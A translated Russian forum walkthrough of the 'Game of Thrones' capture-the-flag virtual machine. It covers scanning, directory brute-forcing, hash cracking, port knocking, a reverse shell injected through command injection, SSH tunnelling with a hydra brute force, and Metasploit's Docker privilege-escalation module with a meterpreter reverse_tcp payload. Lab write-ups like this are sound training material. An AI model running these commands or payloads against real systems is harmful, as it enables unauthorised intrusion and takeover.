• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

Статья CTF “Game of Thrones” [Перевод]

  • Автор темы mrOkey
  • Дата начала
mrOkey

mrOkey

Red Team
14.11.2017
609
707
Доброго времени суток, codeby.
Первоисточник:
Перевод: Перевод выполнен от команды Codeby
Примечание от команды форума:
  • Статья является переводом.
Приветствую друзья: сегодня мы поиграем в CTF “Game of Thrones”
Образ VM и подробное описание можно найти
Автор VM: OscarAkaElvis

Приступим.
Для начала, узнаем IP виртуальной машины (В статье она находится по адресу 192.168.1.133)
Код:
netdiscover
CTF “Game of Thrones” [Перевод]


Далее используем nmap чтобы найти открытые порты и сервисы расположенные на них
Код:
nmap -p- -sV 192.168.1.133
CTF “Game of Thrones” [Перевод]


Мы видим, что на 80-ом порту находится веб-сервер, поэтому мы открываем ip в нашем браузере.

CTF “Game of Thrones” [Перевод]


Посмотрев на исходный код страницы, мы увидим синтаксис флага.

CTF “Game of Thrones” [Перевод]


Далее, найдём директории и другие web-объекты используем dirb
Код:
dirb http://192.168.1.133
CTF “Game of Thrones” [Перевод]


Dirb нашёл файл robots.txt, открыв его, мы увидим несколько директорий

CTF “Game of Thrones” [Перевод]


Откроем директорию /secret-island/ используя user-agent: Three-eyed-raven
прим. переводчика: автор оригинала использует Burp для изменения http-запроса.

CTF “Game of Thrones” [Перевод]


По данному url мы найдем ссылку на карту

CTF “Game of Thrones” [Перевод]


Открыв карту, мы узнаем местоположение всех флагов

CTF “Game of Thrones” [Перевод]


Аналогичным способом обратимся к директории
Код:
/direct-access-to-kings-landing/
CTF “Game of Thrones” [Перевод]


Посмотрев исходный код, мы увидим что-то похожее на набор портов для port knocking и имя пользователя - oberynmartell.
прим. переводчика: на самом деле там 3 порта (один обрезан на исходном скрине) 3487 64535 12345

CTF “Game of Thrones” [Перевод]



Далее мы находим /h/i/d/d/e/n/ директорию (с помощью dirb), открыв её видим следующее.

CTF “Game of Thrones” [Перевод]


Взглянув на исходный код страницы найдём пароль для пользователя oberynmartell.

CTF “Game of Thrones” [Перевод]


Испытаем найденные креды на ftp сервере. И мы видим первый флаг в шапке ftp-сервера.

CTF “Game of Thrones” [Перевод]


С ftp-сервера мы скачали два файла. Один из них содержит хеш и тип хеша. Сохраним хеш в отдельный файл.

CTF “Game of Thrones” [Перевод]


Воспользуемся john the ripper для расшифровки хеша.
Код:
john --format=dynamic_2008 hash.txt
CTF “Game of Thrones” [Перевод]


Теперь используем mcrypt для расшифровки второго файла.
Код:
mcrypt -d the_wall.txt.nc
CTF “Game of Thrones” [Перевод]


Добавим домен
Код:
winterfell.7kingdoms.ctf
в /etc/hosts и откроем ссылку, найденную в файле.

CTF “Game of Thrones” [Перевод]


Введем найденные креды, и увидим страницу с двумя изображениями.

CTF “Game of Thrones” [Перевод]


Посмотрев исходный код, найдём второй флаг.

CTF “Game of Thrones” [Перевод]


Вместе с флагом, мы нашли намек на то что файл
Код:
stark_shield.jpg
что то содержит. Так что мы скачиваем файл и прогоняем его через
Код:
strings
Таким образом мы находим ещё одну подсказку.
Код:
strings stark_shield.jpg
CTF “Game of Thrones” [Перевод]


Подсказка даёт нам намёк на то что запись TXT будет содержать что-то полезное, поэтому мы видоизменяем домен и проверяем его с помощью nslookup (для проверки записей TXT)
Код:
nslookup -q=txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.1.133
CTF “Game of Thrones” [Перевод]


Вот мы и нашли третий флаг, а вместе с ним нашли еще один домен. Добавим его в /etc/hosts и откроем в браузере.

CTF “Game of Thrones” [Перевод]


Воспользуемся кредами из TXT записи.

CTF “Game of Thrones” [Перевод]


Проверим форму поиска на уязвимости

CTF “Game of Thrones” [Перевод]


Далее воспользуемся модулем файлового менеджера, он предоставит нам доступ к некоторым файлам

CTF “Game of Thrones” [Перевод]


В директории /home/aryastark мы находим файл под названием ‘flag.txt’

CTF “Game of Thrones” [Перевод]


Скачав его, мы получим 4ый флаг.

CTF “Game of Thrones” [Перевод]


Теперь у нас есть подсказка для доступа к базе данных, мы уже знаем что это postgresql. Поэтому подключимся, используя креды из файла.
Код:
 psql –h 192.168.1.133 –u robinarryn –d mountainandthevale
CTF “Game of Thrones” [Перевод]


Мы видим view, которая называется flag, посмотрев её содержимое мы видим строку в base64

CTF “Game of Thrones” [Перевод]


Расшифровав строку, мы получаем 5ый флаг.

CTF “Game of Thrones” [Перевод]


Далее проверим остальные таблицы, что бы убедиться, что мы ничего не упустили. В одной из таблиц мы находим список имен.
Код:
select * from arya_kill_list
CTF “Game of Thrones” [Перевод]


Выглядит полезным. При дальнейшем поиске по базе данных мы находим строку в rot16.

CTF “Game of Thrones” [Перевод]


Преобразовав её мы узнаем имя базы данных и пароль. Так же текст, намекает нам, что логин должен быть в “нашем” списке для убийства (aria_kill_list).

CTF “Game of Thrones” [Перевод]


Испытав список целей Арии в качестве логина, мы находим нужный - TheRedWomanMelisandre.

CTF “Game of Thrones” [Перевод]


Проверив единственную таблицу - найдём секретный флаг.

CTF “Game of Thrones” [Перевод]


Мы уже знаем, что флаг “The Reach” находится на imap (см.карту). Используем номера портов, что мы нашли ранее для port knocking.
прим. переводчика: про порт кнокинг можно почитать
Код:
knock 192.168.1.133 3487 64535 12345
CTF “Game of Thrones” [Перевод]


Проверим не появились ли новые сервисы и открытые порты. Воспользуемся nmap.
Код:
nmap -p- 192.168.1.133
CTF “Game of Thrones” [Перевод]


Теперь нам доступен порт 143, на котором запущен imap. Воспользуемся nc и кредами, найденными в подсказке ранее.
Код:
nc 192.168.1.133 143
CTF “Game of Thrones” [Перевод]


Мы находим 6ой флаг в папке “Входящие”. Также мы получаем следующую подсказку в виде порта 1337 и кредов.

CTF “Game of Thrones” [Перевод]


Открываем 192.168.1.133:1337 в браузере и понимаем, что мы на git-сайте.

CTF “Game of Thrones” [Перевод]


Просмотрев файлы, мы понимаем что сайт уязвим к инъекции команд, так же мы находим намёк на mysql.

CTF “Game of Thrones” [Перевод]


Мы инжектим reverse shell в параметр code.
Код:
nc 192.168.1.116 1234
CTF “Game of Thrones” [Перевод]


Запустив неткат в режиме прослушки (на основной машине) мы сразу же получим шелл.
Код:
nc -lvp 1234
CTF “Game of Thrones” [Перевод]


Ранее на веб-страницы мы нашли строку закодированную в hex. Раскодировав её мы получим путь к файлу
Код:
file:/home/tyrionlannister/checkpoint.txt
Открыв данный файл - мы получим креды и имя базы данных, которую мы должны искать.

CTF “Game of Thrones” [Перевод]
 
Последнее редактирование:
mrOkey

mrOkey

Red Team
14.11.2017
609
707
Воспользуемся информацией и взглянем на доступные таблицы.

CTF “Game of Thrones” [Перевод]


Заглянем внутрь таблицы

CTF “Game of Thrones” [Перевод]


Мы видим строку закодированную азбукой Морзе. Расшифруем её: /etc/mysql/flag. Попытка получить доступ к файлу укажет нам на его отсутствие. Вспомнив подсказку выше, мы поймём что у нас недостаточно прав. Давайте взглянем на наши права

CTF “Game of Thrones” [Перевод]


Таким образом мы узнаём, что можем импортировать файлы в базу данных. Создаём таблицу Flag

CTF “Game of Thrones” [Перевод]


Импортируем наш файл в созданную таблицу

CTF “Game of Thrones” [Перевод]


Теперь, взглянув на содержимое таблицы, мы увидим 7ой флаг. А также креды для ssh доступа.

CTF “Game of Thrones” [Перевод]


Воспользуемся ими
Код:
ssh daenerystargaryen@192.168.1.133
CTF “Game of Thrones” [Перевод]


Покопавшись в системе мы найдём два файла
Код:
digger.txt, checkpoint.txt
Последний содержит подсказку: мы должны подключится по ssh к ip:172.25.0.2 и использовать файл digger.txt для брутфорса пароля.

CTF “Game of Thrones” [Перевод]


Скачаем digger.txt на свою систему
Код:
scp digger.txt root@192.168.1.116
CTF “Game of Thrones” [Перевод]


Создадим тунель, назначим ему порт 2222
Код:
ssh daenerystargaryen@192.168.1.133 –L 2222:172.25.0.2:22 –N
CTF “Game of Thrones” [Перевод]


Теперь воспользуемся hydra для перебора пароля к 172.25.0.2. В качестве username мы укажем root, и используем digger.txt в качестве словаря:

CTF “Game of Thrones” [Перевод]


Так мы узнаем пароль:
Код:
Dr4g0nGl4ss
Воспользуемся нашим тунелем для подключения:

CTF “Game of Thrones” [Перевод]


Просмотрев файлы мы найдём наш секретный флаг, а так же креды для ssh доступа.

CTF “Game of Thrones” [Перевод]


Воспользуемся metasploit для подключения через ssh, используя найденные креды.
Код:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.133
msf auxiliary(scanner/ssh/ssh_login) > set username branstark
msf auxiliary(scanner/ssh/ssh_login) > set  password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner/ssh/ssh_login) > run
CTF “Game of Thrones” [Перевод]


После поиска очевидных возможностей для повышение привилегий, таких как исполняемых файлов с установленным битом setuid и эксплойтов для ядра, мы заметили, что сервер лежит в докер контейнере. Поэтому мы воспользуемся эксплойтом повышения привилегий из metasploit.
Код:
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run
CTF “Game of Thrones” [Перевод]


Прообгредив нашу сессию, убедимся что мы root.

CTF “Game of Thrones” [Перевод]


Покопавшись, мы найдем запароленный zip архив: final_battle и checkpoint.txt, в котором находится псевдокод. Псевдокод расскажет нам как получить пароль используя секретные флаги что мы нашли.

CTF “Game of Thrones” [Перевод]


На данный момент у нас есть 2 секретных флага. Вновь пройдясь по файловой системе, мы найдем два mp3 файла. Воспользовавшись exiftool мы найдём ещё один флаг в одном из них.
Код:
exiftool  game_of_thrones.mp3
CTF “Game of Thrones” [Перевод]


Теперь перепишим псевдокод на python

CTF “Game of Thrones” [Перевод]


Запустим созданный скрипт и найдём пароль

CTF “Game of Thrones” [Перевод]


Теперь распакуем архив
Код:
7z e final_battle
CTF “Game of Thrones” [Перевод]


Мы видим файл flag.txt, просмотрев его мы найдем наш последний флаг.

CTF “Game of Thrones” [Перевод]


Автор оригинала: Sayantan Bera - технический писатель хакерских статьей и энтузиаст кибербезопасности.
 
Последнее редактирование:
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб